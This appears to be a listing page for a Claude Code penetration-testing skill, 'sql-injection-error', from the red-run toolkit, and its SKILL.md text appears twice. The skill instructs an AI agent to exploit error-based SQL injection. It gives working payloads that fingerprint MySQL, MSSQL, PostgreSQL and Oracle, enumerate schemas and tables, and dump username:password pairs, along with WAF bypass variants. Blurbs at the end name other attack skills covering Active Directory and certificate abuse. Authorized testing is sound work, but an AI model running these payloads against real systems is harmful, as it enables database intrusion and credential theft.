/sql-injection-error
Guide error-based SQL injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill sql-injection-error --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/sql-injection-error
Context preview
The summary Claude sees to decide when to auto-load this skill.
Guide error-based SQL injection exploitation during authorized penetration testing.
SKILL.md
sql-injection-error.SKILL.mdname: sql-injection-error
description: >
Guide error-based SQL injection exploitation during authorized penetration
testing.
keywords:
- error-based SQLi
- EXTRACTVALUE
- UPDATEXML
- CONVERT INT
- CAST AS INT
- database errors in response
- verbose SQL errors
tools:
- sqlmap
- burpsuite
opsec: medium
Error-Based SQL Injection
You are helping a penetration tester exploit error-based SQL injection. The target application returns database error messages that can be leveraged to extract data. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-error] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- Application displays verbose database error messages in the response
- If errors are generic or hidden, use **sql-injection-blind** instead
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **Injection point** — URL, parameter name, request method 2. **Error observed** — paste the exact error message 3. **DBMS** — if known from error signatures or prior testing
Skip if context was already provided.
Step 2: Identify DBMS
If the DBMS is unknown, fingerprint from the error message:
| Error Signature | DBMS | |---|---| | `You have an error in your SQL syntax` | MySQL | | `Unclosed quotation mark` / `CONVERT` | MSSQL | | `ERROR: invalid input syntax for` | PostgreSQL | | `ORA-` prefix | Oracle |
If unclear, inject identification payloads:
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--+ -- MySQL
' AND 1=CONVERT(INT,@@version)--+ -- MSSQL
' AND 1=CAST(version() AS INT)--+ -- PostgreSQL
' AND 1=utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1))--+ -- Oracle
Step 3: Extract Data
Walk through extraction in this order: 1. **Current user and database** — confirms extraction works 2. **List databases/schemas** 3. **List tables** in the target database 4. **List columns** in the target table 5. **Extract data** — credentials, secrets, flags
MySQL
**EXTRACTVALUE** (MySQL 5.1+) — most reliable:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user())))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='TARGET_DB')))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='TARGET_TABLE')))--+
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(username,0x3a,password) FROM TARGET_TABLE)))--+
> **32-char truncation**: EXTRACTVALUE/UPDATEXML truncate to ~32 chars. Paginate: > ```sql > ' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),1,31)))--+ > ' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT ...),32,31)))--+ > ```
**Alternatives** when EXTRACTVALUE is blocked:
-- UPDATEXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--+
-- GTID_SUBSET (MySQL 5.6+)
' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user())),1)--+
-- JSON_KEYS (MySQL 5.7+)
' AND JSON_KEYS(CONCAT(0x7e,(SELECT user())))--+
-- FLOOR(RAND()) — classic double-query error
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+
-- EXP (MySQL 5.5+) — overflow error
' AND EXP(~(SELECT * FROM (SELECT user())a))--+
MSSQL
**CONVERT/CAST** — force type conversion error:
' AND 1=CONVERT(INT,SYSTEM_USER)--+
' AND 1=CONVERT(INT,DB_NAME())--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN ('master','tempdb','model','msdb')))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM syscolumns WHERE id=OBJECT_ID('TARGET_TABLE')))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 username+':'+password FROM TARGET_TABLE))--+**WAF bypass alternatives**:
' AND 1=SUSER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=USER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=0/@@version--+
PostgreSQL
**CAST** — force type conversion:
' AND 1=CAST(current_user AS INT)--+
' AND 1=CAST(current_database() AS INT)--+
' AND 1=CAST((SELECT string_agg(datname,',') FROM pg_database) AS INT)--+
' AND 1=CAST((SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public') AS INT)--+
' AND 1=CAST((SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='TARGET_TABLE') AS INT)--+
' AND 1=CAST((SELECT string_agg(username||':'||password,',') FROM TARGET_TABLE) AS INT)--+
**XML helper** for large datasets:
' AND 1=CAST(query_to_xml('SELECRead more
name: sql-injection-error description: > Guide error-based SQL injection exploitation during authorized penetration testing. keywords: - error-based SQLi - EXTRACTVALUE - UPDATEXML - CONVERT INT - CAST AS INT - database errors in response - verbose SQL errors tools: - sqlmap - burpsuite opsec: medium
Error-Based SQL Injection
You are helping a penetration tester exploit error-based SQL injection. The target application returns database error messages that can be leveraged to extract data. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[sql-injection-error] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Confirmed SQL injection point (see **web-discovery**)
- Application displays verbose database error messages in the response
- If errors are generic or hidden, use **sql-injection-blind** instead
Step 1: Assess
If not already provided by the orchestrator or conversation context, determine: 1. **Injection point** — URL, parameter name, request method 2. **Error observed** — paste the exact error message 3. **DBMS** — if known from error signatures or prior testing
Skip if context was already provided.
Step 2: Identify DBMS
If the DBMS is unknown, fingerprint from the error message:
| Error Signature | DBMS | |---|---| | `You have an error in your SQL syntax` | MySQL | | `Unclosed quotation mark` / `CONVERT` | MSSQL | | `ERROR: invalid input syntax for` | PostgreSQL | | `ORA-` prefix | Oracle |
If unclear, inject identification payloads:
' AND EXTRACTVALUE(1,CONCAT(0x7e,version()))--+ -- MySQL ' AND 1=CONVERT(INT,@@version)--+ -- MSSQL ' AND 1=CAST(version() AS INT)--+ -- PostgreSQL ' AND 1=utl_inaddr.get_host_name((SELECT banner FROM v$version WHERE ROWNUM=1))--+ -- Oracle
Step 3: Extract Data
Walk through extraction in this order: 1. **Current user and database** — confirms extraction works 2. **List databases/schemas** 3. **List tables** in the target database 4. **List columns** in the target table 5. **Extract data** — credentials, secrets, flags
MySQL
**EXTRACTVALUE** (MySQL 5.1+) — most reliable:
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user())))--+ ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--+ ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)))--+ ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='TARGET_DB')))--+ ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='TARGET_TABLE')))--+ ' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(username,0x3a,password) FROM TARGET_TABLE)))--+
> **32-char truncation**: EXTRACTVALUE/UPDATEXML truncate to ~32 chars. Paginate: > ```sql > ' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),1,31)))--+ > ' AND EXTRACTVALUE(1,CONCAT(0x7e,SUBSTRING((SELECT ...),32,31)))--+ > ```
**Alternatives** when EXTRACTVALUE is blocked:
-- UPDATEXML ' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--+ -- GTID_SUBSET (MySQL 5.6+) ' AND GTID_SUBSET(CONCAT(0x7e,(SELECT user())),1)--+ -- JSON_KEYS (MySQL 5.7+) ' AND JSON_KEYS(CONCAT(0x7e,(SELECT user())))--+ -- FLOOR(RAND()) — classic double-query error ' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--+ -- EXP (MySQL 5.5+) — overflow error ' AND EXP(~(SELECT * FROM (SELECT user())a))--+
MSSQL
**CONVERT/CAST** — force type conversion error:
' AND 1=CONVERT(INT,SYSTEM_USER)--+
' AND 1=CONVERT(INT,DB_NAME())--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN ('master','tempdb','model','msdb')))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 name FROM syscolumns WHERE id=OBJECT_ID('TARGET_TABLE')))--+
' AND 1=CONVERT(INT,(SELECT TOP 1 username+':'+password FROM TARGET_TABLE))--+**WAF bypass alternatives**:
' AND 1=SUSER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+ ' AND 1=USER_NAME((SELECT TOP 1 name FROM master..sysdatabases))--+ ' AND 1=0/@@version--+
PostgreSQL
**CAST** — force type conversion:
' AND 1=CAST(current_user AS INT)--+ ' AND 1=CAST(current_database() AS INT)--+ ' AND 1=CAST((SELECT string_agg(datname,',') FROM pg_database) AS INT)--+ ' AND 1=CAST((SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public') AS INT)--+ ' AND 1=CAST((SELECT string_agg(column_name,',') FROM information_schema.columns WHERE table_name='TARGET_TABLE') AS INT)--+ ' AND 1=CAST((SELECT string_agg(username||':'||password,',') FROM TARGET_TABLE) AS INT)--+
**XML helper** for large datasets:
' AND 1=CAST(query_to_xml('SELECSecurity assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

